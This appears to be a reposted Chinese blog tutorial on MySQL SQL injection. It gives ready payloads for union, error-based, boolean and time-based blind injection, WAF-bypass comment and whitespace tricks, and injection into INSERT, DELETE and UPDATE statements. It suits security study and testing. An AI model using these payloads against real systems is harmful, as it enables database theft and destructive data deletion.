SQL注入总结

目录

 

SQL注入(上)

字符串截取函数

字符串比较函数

字符串连接函数

mysql中一些基础函数

当前数据库名

数据库用户名

数据库版本

路径相关函数

注释符号

操作符号

比较运算符

逻辑运算符

位运算符

延时函数

编码函数

文件操作函数

类型转换

information_schema

mysql中的空白字符

SQL注入(中)

注入类型

数值型注入

字符型注入

union联合注入

报错注入

XPATH语法错误

函数特性报错

盲注

构造布尔条件

逻辑判断的函数

可以配合ascii、ord、char、使用。

order by盲注

基于时间的盲注

无列名注入

使用order by

字查询

在限制了union时

insert,delete,update

insert

delete

update


SQL注入(上)

字符串截取函数

 

left(str,index)//从左边第index开始截取
right(str,index) //从右边第index开始截取
substring(str,index)//从左边index开始截取
substr(str,index,len)//截取str,index开始,截取len的长度
mid(str,index,ken)//截取str 从index开始,截取len的长度(mysql特有)
locate()//返回一个字符串在另一个字符串中第一次出现的位置,可尝试配合上面的字符串截取函数在读取文件时用
mysql> select locate(username,'lshackadminsec') from admin limit 0,1;

字符串截取函数,在报错注入,盲注中经常使用到,例如mid函数。
正常用法mid(str,pos,len)功能是从str字符串中从pos开始,截取len长度的字字符串。
而mid(from(1)),这里的from(1)表示的是从1这个位置开始截取剩下的字符串.

 

mysql> select mid('abc'from(3));
+-------------------+
| mid('abc'from(3)) |
+-------------------+
| c                 |
+-------------------+

for(1)表示从改位置起一次就截取一个字符,示例如下:

 

mysql> select mid('abc'from(1)for(1));
+-------------------------+
| mid('abc'from(1)for(1)) |
+-------------------------+
| a                       |
+-------------------------+
1 row in set (0.04 sec)

字符串比较函数

 

strcmp(expr1,expr2) //如果两个字符串是一样则返回0,如果第一个小于第二个则返回-1
find_in_set(str,strlist) //如果相同则返回1不同则返回0

字符串连接函数

 

concat(str1,str2) //将字符串首尾相连
concat_ws(separator,str1,str2) //将字符串用指定连接符连接
group_concat()//利用分组的方式连接所有字符串,通俗点儿讲,其实就是把某个字段下的所有数据全部连接成一个字符串,注意有长度限制,默认1024

tips:在使用字符串拼接函数时,尽量使用拼接符号进行拼接,便于后续读取数据。
例如:group_concat( distinct(要连接的字段)order by (排序字段) asc/desc separator (分隔符) )

mysql中一些基础函数

当前数据库名

 

database()
schema()

数据库用户名

 

USER()
CURRENT_USER()
SYSTEM_USER()
SESSION_USER()

数据库版本

 

VERSION()
@@VERSION
@@GLOBAL.VERSION

路径相关函数

 

@@BASEDIR : mysql安装路径
@@SLAVE_LOAD_TMPDIR : 临时文件夹路径
@@DATADIR : 数据存储路径
@@CHARACTER_SETS_DIR : 字符集设置文件路径
@@LOG_ERROR : 错误日志文件路径
@@PID_FILE : pid-file文件路径
@@BASEDIR : mysql安装路径
@@SLAVE_LOAD_TMPDIR : 临时文件夹路径

注释符号

 

# 
/**/   /*/**/这样是等效于/**/
-- + 用这个符号注意是--空格任意字符很多人搞混了
;%00
`
/*!*/  /*!/*!*/是等效于/*!*/的

操作符号

 

:=
||, OR, XOR
&&, AND
NOT
BETWEEN, CASE, WHEN, THEN, ELSE
=, <=>, >=, >, <=, <, <>, !=, IS, LIKE, REGEXP, IN
|
&
<<, >>
-, +
*, /, DIV, %, MOD
^
- (一元减号), ~ (一元比特反转)
!
BINARY, COLLATE

比较运算符

 

=
>
<
!=
<> 不等于的意思
like (模糊匹配 select '12345' like '12%' => true)
in(select '123' in ('12') => false)
between (select database() between 0x61 and 0x7a;//select database() between 'a' and 'z';)
regexp / rlike(正则匹配select '123455' regexp '^12' => true)

逻辑运算符

 

not / !
and / &&
or / ||
xor / ^

位运算符

 

& 按位与
| 按位或
^ 按位异或
! 取反
<< 左移
>>右移

延时函数

 

sleep()
benchmark(1000000,sha(1))

编码函数

 

hex()
ascii()

文件操作函数

 

load_file() //读文件路径可以用0x,char转换的字符
outfile select * into outfile '/tmp/test.txt'
dumpfile //用法同上但是只能写入一行数据,常用于udf提权写dll

类型转换

 

1=1
1='1'
1="1"
1=true
1=1+'a'
1=1+"a"
1=0+true

information_schema

information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。 如数据库名,数据库的表,表栏的数据类型与访问权限等。

表名列名内容
schemataschema_name所有数据库的名字
tablestable_name所有数据库的表的名字
tablestable_schema所有数据库的名字
columnstable_schema所有数据库的名字
columnstable_name所有数据库的表的名字
columnscolumn_name所有数据库的表的列的名字

查看当前数据库的表名

 

select table_name from information_schema.tables where table_schema=database()limit 0,1;

查看字段名

 

select column_name from information_schema.columns where table_name='user' and table_schema=database() limit 0,1;

查数据

 

select 字段名 from 表名;

mysql中的空白字符

 

%20 %09 %0a %0b %0c %0d %a0 /**/ tab
%a0 这个不会被php的\s进行匹配
/*!*/ 内敛注释 #这个也可以用来做分隔



SQL注入(中)

 

注入类型


数值型注入


也就是说后台的sql语句直接拼接的一个数值,可以通过以下方式进行初步判断,如果有waf,那么可以尝试使用注释符等将waf过滤的关键字进行包裹,使waf无法匹配,达到绕过waf的效果。

 

?id=1+1
?id=-1 or 1=1
?id=-1 or 10-2=8
?id=1 and 1=2
?id=1 and 1=1

字符型注入


后台得到一个字符型数据然后进行拼接查询,具体判断方式如下。

 

?id=1'
?id=1"
?id=1' and '1'='1
?id=1" and "1"="1

值得注意的是,在字符型注入中,要通过手工测试去判断后台sql语句的写法,例如:

 

mysql-> select password from userinfo where username='admin'

可以看到其数据是包裹在一对单引号中的,也就是说如果我们在插入一个单引号,就会引起后台sql语句执行报错,然后就可以根据其包裹方式构造payload进行注入。

union联合注入


首先使用order by进行字段猜测。

 

oder by num//num是具体数值

Example:id=1 order by 2 页面正常,id=3 order by 6页面错误,那么字段就是2
字符型的话需要注释后面的引号,Example:id=1' order by 2%23(%23=#)
得到具体字段数后,我们就可以进行爆字段位置:

 

and 1=2 UNION SELECT 1,2或 id=-1 UNION SELECT 1,2

然后就可以进行数据库表查询(mysql环境下)

 

and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) -- +

基础语法:

 

union select xxx from xxx

过滤了逗号的话可以使用join进行绕过

 

select username,user_passwd from userinfo union select * from ((select(1))a join(select version())b);
+----------+-------------+
| username | user_passwd |
+----------+-------------+
| admin1   | admin1      |
| admin2   | admin2      |
| 1        | 5.6.44      |
+----------+-------------+
3 rows in set (0.07 sec)

join函数的作用是用于把来自两个或多个表的行结合起来。语句中的a等于是把select(1)的值赋给了a,也就是a=select (1),然后把两个拼接起来。
tips:该注入方式,适合用与显错注入,可以将注入得到的值直接显示到页面上。

报错注入


常用于没有sql错误提示的注入场景,具体原理分析如下。
首先看一下我们的测试表

 

select * from userinfo;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | admin1   | admin1      |
|      2 | admin2   | admin2      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
+--------+----------+-------------+
4 rows in set (0.07 sec)

可以看到总共有userid,username,user_password,三个字段,我们使用floor报错注入payload:

 

select count(*),(concat(floor(rand()*2),(select version())))x from users group by x

结果如下

 

mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
Duplicate entry '5.6.441' for key 'group_key'

我们可以看到我数据库版本号出现在了错误语句当中,那么到底是为什么他会报错呢,我们进一步去分析
floor()函数作用是返回返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分。
rand(0)函数可以用来生成0或1,但是rand(0)和rand()还是有本质区别的,rand(0)相当于给rand()函数传递了一个参数,然后rand()函数会根据0这个参数进行随机数成成。rand()生成的数字是完全随机的,而rand(0)是有规律的生成,我们可以在数据库中尝试一下。首先测试rand()

 

mysql> select floor(rand()*2) from userinfo;
+-----------------+
| floor(rand()*2) |
+-----------------+
|               0 |
|               0 |
|               1 |
|               0 |
+-----------------+
4 rows in set (0.07 sec)

mysql> select floor(rand(0)*2) from userinfo;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
4 rows in set (0.07 sec)
 
mysql> select floor(rand(0)*2) from userinfo;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
+------------------+
4 rows in set (0.07 sec)

很显然rand(0)是伪随机的,有规律可循,这也是我们采用rand(0)进行报错注入的原因,rand(0)是稳定的,这样每次注入都会报错,而rand()是随机的,很难控制,可能达不到报错效果。

那么为什么会报错呢,报错语句为Duplicate entry '5.6.441' for key 'group_key'意思是说group_key条目重复,那么我们使用group by 测试下。

 

mysql> select count(*),username from userinfo group by username;
+----------+----------+
| count(*) | username |
+----------+----------+
|        3 | admin1   |
|        1 | admin2   |
+----------+----------+
2 rows in set (0.07 sec)

我们可以看到生成了一个虚拟表,在这张虚拟表中,group by后面的字段作为主键,所以这张表中主键是username,这样我们就基本弄清报错的原因了,其原因主要是因为虚拟表的主键重复。
我们把这个payload拆分来看select count(),(concat(floor(rand()2),(select version())))x from users group by x
可以分为这么几部分select count(*),concat(floor(rand()*2),(select version())),group by x我们一步一步来解释
首先第一段select没什么讲的,COUNT(*) 函数返回表中的记录数,第二段concat用于拼接字符串,我们可以尝试在sql中使用。

 

mysql> select concat_ws('@',version(),floor(rand()*2));
+------------------------------------------+
| concat_ws('@',version(),floor(rand()*2)) |
+------------------------------------------+
| 5.6.44@1                                 |
+------------------------------------------+
1 row in set (0.05 sec)

可以看到该命令将version和floor的值进行了拼接,那么我们在根据group by 的特性,group by语句执行过程中,一行一行的去扫描原始表的username字段,如果username在username-count()不存在,那么就将他插入,并置count()置1,如果username在username-count()表中已经存在,那么就在原来的count(*)基础上加1,就这样直到扫描完整个表,就得到我们看到的这个表了,group by后面的字段时虚拟表的主键,也就是说它是不能重复的,这是后面报错成功的关键点。
我们进行测试,userinfo表中有四条数据,我们可以看到

 

mysql> select concat_ws('@',version(),floor(rand(0)*2))x from userinfo;
+----------+
| x        |
+----------+
| 5.6.44@0 |
| 5.6.44@1 |
| 5.6.44@1 |
| 5.6.44@0 |
+----------+
4 rows in set (0.05 sec)

我们可以看到每一次生成的值是根据floor函数决定的,再结合rand(0)函数的特性,导致其随机数可以被控制,所以才有了我们上面的结果。
在执行group by语句的时候,group by语句后面的字段会被运算两次。
第一次:我们之前不是说了会把group by后面的字段值拿到虚拟表中去对比吗,在对比之前肯定要知道group by后面字段的值,所以第一次的运算就发生在这里。
第二次:现在假设我们下一次扫描的字段的值没有在虚拟表中出现,也就是group by后面的字段的值在虚拟表中还不存在,那么我们就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致错误!
我们测试一下首先用rand(0)生成随机数

 

mysql> select floor(rand(0)*2) from userinfo;
+------------------+
| floor(rand(0)*2) |
+------------------+
|                0 |
|                1 |
|                1 |
|                0 |
|                1 |
+------------------+
4 rows in set (0.05 sec)

然后跟着流程走,首先开始虚拟表是空的如下

count(*)x
 

当我扫描原始表的第一项时,第一次计算,floor(rand(0)*2)是0,然后和数据库的版本号(假设就是5.6.44)拼接,到虚拟表里去寻找x有没有x的值是5.6.44@x的数据项,结果显然是没有,那么接下来就将它插入到上表中,但是还记得吗,在插入之前会进行第二次计算,这时x的值就变成了5.6.44@1,所以虚拟表变成了下面这样:

count(*)x
15.6.44@1

现在扫描原始表的第二项,第一次计算x==’5.6.44@1‘,已经存在,不需要进行第二次计算,直接插入,得到下表:

count(*)x
25.6.44@1

扫描原始表的第三项,第一次计算x==‘5.6.44@0’,虚拟表中找不到,那么进行第二次计算,这时x==‘5.6.44@1’,然后插入,但是插入的时候问题就发生了,虚拟表中已经存在以5.6.44@1为主键的数据项了,插入失败,然后就报错了!
过程如下:
扫描第一项第一次计算x='5.6.44@0'(与rand(0)对应),发现没有那么进行插入,插入是在进行计算这时x='5.6.44@1',那么将其插入,到这里第一次扫描完成,因为rand的随机性所以导致插入的数据为5.6.44@1,那么继续往下走,在第二次扫描这时x='5.6.44@1'发现虚拟表中存在,那么就直接插入,不进行第二次计算,到此第二次扫描完成,第三次扫描开始,首先x='5.6.44@0',然后发现表中没有,那么久进行插入而插入的时候还需进行一次计算,这是x='5.6.44@1',那么与之前第一次计算得到的值不相同然后报错把值爆出来了。

XPATH语法错误


从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容。
它们的第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里。

 

select updatexml(1,concat(0x7e,(select version()),0x7e),1);
select extractvalue(1,concat(0x7e,(select version()),0x7e));

函数特性报错


故名思义,也就是利用一些函数的特性,使其报错,得到我们想要的结果。

  • geometrycollection()

 

and geometrycollection((select * from(select * from(select user())a)b))-- + 
  • multipoint()

 

and multipoint((select * from(select * from(select user())a)b))-- +
  • polygon()

 

and polygon (()select * from(select user ())a)b )-- +
  • multipolygon()

 

and multipolygon((select * from(select * from(select user())a)b))-- +
  • linestring()

 

and linestring((select * from(select * from(select user())a)b))-- +
  • multilinestring()

 

and multilinestring((select * from(select * from(select user())a)b))-- +
  • exp()

 

and exp(~(select * from(select user())a))--+

盲注


盲注指的是没有回显,但是能根据我们构造的sql条件返回不同响应,而盲注跑出数据相对较麻烦,MySQL4之后大小写不敏感,可使用binary()函数使大小写敏感。

构造布尔条件


参考p0desta师傅的博客

 

//正常情况
'or bool#
true'and bool#
    
//不使用空格、注释
'or(bool)='1
true'and(bool)='1
    
//不使用or、and、注释
'^!(bool)='1
'=(bool)='
'||(bool)='1
true'%26%26(bool)='1
'=if((bool),1,0)='0
    
//不使用等号、空格、注释
'or(bool)<>'0
'or((bool)in(1))or'0
    
//其他
or (case when (bool) then 1 else 0 end)

有时候where字句有括号又猜不到SQL语句的时候,可以有下列类似的fuzz

 

1' or (bool) or '1'='1
1%' and (bool) or 1=1 and '1'='1

逻辑判断的函数


 

left(user(),1)>'r'  
right(user(),1)>'r'  
substr(user(),1,1)='r'  
mid(user(),1,1)='r' 
greatest("sed",database())= "sed" //返回最大值再与字符串比较
select least("sea",database())="sea"; //返回最小值再与字符串比较
    
//不使用逗号 
user() regexp '^[a-z]'
user() like 'root%' //注意_/%通配符,建议写脚本的时候时候写到字符集最后面
POSITION('root' in user())
mid(user() from 1 for 1)='r'
mid(user() from 1)='r'

可以配合ascii、ord、char、使用。

order by盲注


order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序,不区分大小写。
首先我们进行测试下:

 

mysql> select * from userinfo union select 1,2,3 order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | 2        | 3           |
|      1 | admin1   | admin1      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
|      2 | admin2   | admin2      |
+--------+----------+-------------+
5 rows in set (0.07 sec)

mysql> select * from userinfo union select 1,2,'a' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | 2        | a           |
|      1 | admin1   | admin1      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
|      2 | admin2   | admin2      |
+--------+----------+-------------+
5 rows in set (0.07 sec)

我们可以看到 当我们查询第三列数据开头一样的数据时,select 1,2,3的数据会排在第一行,那么我们继续测试。

 

mysql> select * from userinfo union select 1,2,'b' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | admin1   | admin1      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
|      2 | admin2   | admin2      |
|      1 | 2        | b           |
+--------+----------+-------------+
5 rows in set (0.07 sec)

可以看到其数据被排到第二行了,那么我们可以根据这个规则进行注入,我们继续测试

 

mysql> select * from userinfo union select 1,2,'ad' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | 2        | ad          |
|      1 | admin1   | admin1      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
|      2 | admin2   | admin2      |
+--------+----------+-------------+
5 rows in set (0.07 sec)
 
mysql> select * from userinfo union select 1,2,'ads' order by 3;
+--------+----------+-------------+
| userid | username | user_passwd |
+--------+----------+-------------+
|      1 | admin1   | admin1      |
|      3 | admin1   | admin1      |
|      4 | admin1   | admin1      |
|      2 | admin2   | admin2      |
|      1 | 2        | ads         |
+--------+----------+-------------+
5 rows in set (0.07 sec)

可以看到我们输入ad与admin1进行比较,我们的数据排在第一行,而输入ads,排在了最后,那么我们就可以根据数据排序进行数据注入,猜测出数据,此方法多用与无列名注入。


基于时间的盲注


适用于对页面无变化,无法用布尔盲注判断的情况,一般用到函数 sleep() BENCHMARK()。
sleep()作用是用来延时 benchmark()其作用是来测试一些函数的执行速度。benchmark()中带有两个参数,第一个是执行的次数,第二个是要执行的函数或者是表达式。
时间盲注我们还需要使用条件判断函数if() if(expre1,expre2,expre3) 当expre1为true时,返回expre2,false时,返回expre3
举个🌰:

 

mysql> select * from userinfo where userid=1 and if((substr((select user()),1,1)='r'),sleep(5),1);
Empty set (5.01 sec)

如果这两个函数都被ban了我们可以利用笛卡尔积造成延时进行注入。
知识点:笛卡尔积可以将多个表合并成为一个表
进行测试:

 

mysql> mysql> select count(*) FROM information_schema.columns A, information_schema.columns B;
+----------+
| count(*) |
+----------+
|  3515625 |
+----------+
1 row in set (0.52 sec)

所以paylod:

 

1' and if(想执行的查询语句,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.columns C),1)%23

另外还可以用get lock()进行延时盲注
知识点:

  • mysql_pconnect(server,user,pwd,clientflag)

mysql_pconnect() 函数打开一个到 MySQL 服务器的持久连接。
mysql_pconnect() 和 mysql_connect() 非常相似,但有两个主要区别:当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接,如果找到,则返回此连接标识而不打开新连接。其次,当脚本执行完毕后到 SQL 服务器的连接不会被关闭,此连接将保持打开以备以后使用(mysql_close() 不会关闭由 mysql_pconnect() 建立的连接)。

  • get_lock(str,timeout)
    get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。在一个session中锁定变量,同时通过另外一个session执行,将会产生延时

进行测试:

 

首先打开两个sqlshell 在第一个上运行
mysql> select get_lock('test',5)
    -> ;
+--------------------+
| get_lock('test',5) |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.06 sec)

然后在第二个上运行同样的语句
mysql> select get_lock('test',5);
+--------------------+
| get_lock('test',5) |
+--------------------+
|                  0 |
+--------------------+
1 row in set (5.03 sec)

可以看到延时了,那我们在实际中可以利用如下。
先执行:1' and get_lock(1,2)%23使其上锁,然后在执行1' and if(1,get_lock(1,2),1)%23,看延时进行判断。

无列名注入


使用order by


在上文中已经提及过其用法,大家可以翻回去看看,这里不在累赘。


字查询


在无列名的情况下,用子查询可以很简单的将数据跑出来。
子查询是将一个查询语句嵌套在另一个查询语句中。在特定情况下,一个查询语句的条件需要另一个查询语句来获取,内层查询(inner query)语句的查询结果,可以为外层查询(outer query)语句提供查询条件。
进行测试

 

mysql> select 1,2,3 union select * from userinfo;
+---+--------+--------+
| 1 | 2      | 3      |
+---+--------+--------+
| 1 | 2      | 3      |
| 1 | admin1 | admin1 |
| 2 | admin2 | admin2 |
| 3 | admin1 | admin1 |
| 4 | admin1 | admin1 |
+---+--------+--------+
5 rows in set (0.04 sec)

可以把他当作形成了一个虚拟表,1,2,3位于第一条数据,那么我们在进行查询。

 

mysql> SELECT x.3 FROM (SELECT * FROM (select 1)a,(select 2)b,(select 3)c union select * from userinfo)x;
+--------+
| 3      |
+--------+
| 3      |
| admin1 |
| admin2 |
| admin1 |
| admin1 |
+--------+
5 rows in set (0.05 sec)

我们可以看到在没有输入列名的情况下,也把数据查询出来了。

在限制了union时


参考p0desta师傅的博客

 

mysql> select * from userinfo where id=1 and (select * from (select * from userinfo as a join userinfo as b) as c);

1060 - Duplicate column name 'userid'

可以发现第一个列名已经被爆出来了,那么他的原理到底是什么呢。
这个的原理就是在使用别名的时候,表中不能出现相同的字段名,于是我们就利用join把表扩充成两份,在最后别名c的时候 查询到重复字段,就成功报错。
同时,可以利用using爆其他字段:

 

mysql> select * from userinfo where id=1 and (select * from (select * from userinfo as a join userinfo as b using(userid)) as c);

1060 - Duplicate column name 'username'

mysql> select * from userinfo where id=1 and (select * from (select * from userinfo as a join userinfo as b using(userid,username)) as c);

1060 - Duplicate column name 'user_passwd'

insert,delete,update


insert


可以看到假如没闭合是会产生很多垃圾数据的,所以这类注入建议手工或者自己写工具。

一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现。

  1. 报错

 

mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
Query OK, 1 row affected (0.00 sec)

mysql> select * from admin;
+------+-----------------------------------------------+----------+
| id   | username                                      | password |
+------+-----------------------------------------------+----------+
|    1 | admin                                         | admin    |
|    1 | and 1=1                                       | admin    |
|    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
+------+-----------------------------------------------+----------+
3 rows in set (0.00 sec)

mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

  1. 盲注

int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等

 

mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (5.00 sec)

mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
Query OK, 1 row affected (0.00 sec)

字符型注意闭合不能使用and

 

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (0.00 sec)

mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
Query OK, 1 row affected (5.01 sec)

注意盲注产生大量垃圾数据。

delete


报错注入同上

值得注意的时delete 注入很危险,很危险,很危险。

语句不当 将会亲人泪两行 or 1=1 因为 1=1 为true 所以每一行被删除了, 他以前用sqlmap一把梭 现在过的很好,每顿都有人送饭到手上。

所以在 delete注入时使用 or 一定要为false

 

mysql> delete from admin where id =3 or 1=1;
Query OK, 4 rows affected (0.00 sec)

报错注入

 

mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'



盲注

or 配上 if() 函数使用不当 再提下 if(expr1,expr2,expr3),如果expr1的值为true,返回expr2的值,如果expr1的值为false,
返回expr3的值。

 

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),1);
Query OK, 3 rows affected (0.00 sec)

所以 delete中 or 的正确使用方法 (or 右边要为false)

 

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
Query OK, 0 rows affected (0.00 sec)

mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
Query OK, 0 rows affected (5.00 sec)

update


与上面的类似

 

mysql> select * from admin;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | 1        | admin    |
|    2 | admin    | admin    |
+------+----------+----------+
4 rows in set (0.00 sec)

mysql> update admin set id="5"+sleep(5)+"" where id=2;
Query OK, 4 rows affected (20.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0


转载:https://www.jianshu.com/p/550eb4bccffb

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值